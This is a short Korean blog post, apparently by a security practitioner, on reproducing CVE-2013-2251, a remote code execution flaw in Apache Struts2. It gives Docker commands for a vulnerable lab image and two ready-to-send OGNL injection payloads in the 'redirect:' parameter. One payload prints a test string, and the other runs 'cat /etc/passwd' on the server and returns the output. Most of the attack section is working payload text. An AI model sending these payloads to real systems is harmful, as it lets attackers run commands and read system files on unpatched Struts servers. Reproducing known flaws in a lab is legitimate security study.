[CVE-2013-2251] Apache Struts2 RCE Exploit
2013년에 나온 취약점이지만, 최근 이 취약점 관련 이슈로 많이 피곤했기에 정리한다.
CVE-2013-2251은 Struts의 버전 뿐만아니라, JAVA 또는 WAS 등 환경적인 영향이 다소 작용하는 것으로 보인다. (단지, 내 경험에서 우러나온 추측이다.)
따라서, Exploit 재현의 용이성을 위해 Docker Hub에 이미지를 올려두었다.
1 2 3 4 5 |
Linux# docker pull docker pull xiphiasilver/apache-struts2:cve-2013-2251 Linux# docker run -p 8080:8080 -d xiphiasilver/apache-struts2:cve-2013-2251 Linux# docker exec -it [container ID] /bin/sh Docker# cp ~/struts2-2.3.1/apps/struts2-showcase.war /opt/tomcat/webapps Docker# /opt/tomcat/bin/startup.sh |
Exploit은 아래 두 가지 조건을 만족하여야 한다.
- Redirection
- Template Injection
showcase 앱에서 테스트를 진행한다. 먼저 아래 그림과 같이 redirect:URL을 넘겨주었을 때 정상적으로 리다이렉션 되어야 한다.
그리고, 아래 그림과 같이 Template 인젝션이 가능해야 한다.
이 조건만 만족한다면 Exploit은 어렵지 않다.
1 2 |
?redirect:$%7B%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.setContentType('text/plain'),%23matt.getWriter().println%20('pwn'),%23matt.getWriter().flush(),%23matt.getWriter().close()} ?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29} |
1번 페이로드를 전송하면 화면에 pwn이라는 문자열이 출력될 것이다. 2번 페이로드를 전송하면 파일을 다운로드할 것이다. 다운로드된 파일을 열어보면 passwd 파일을 출력한 결과가 들어있다.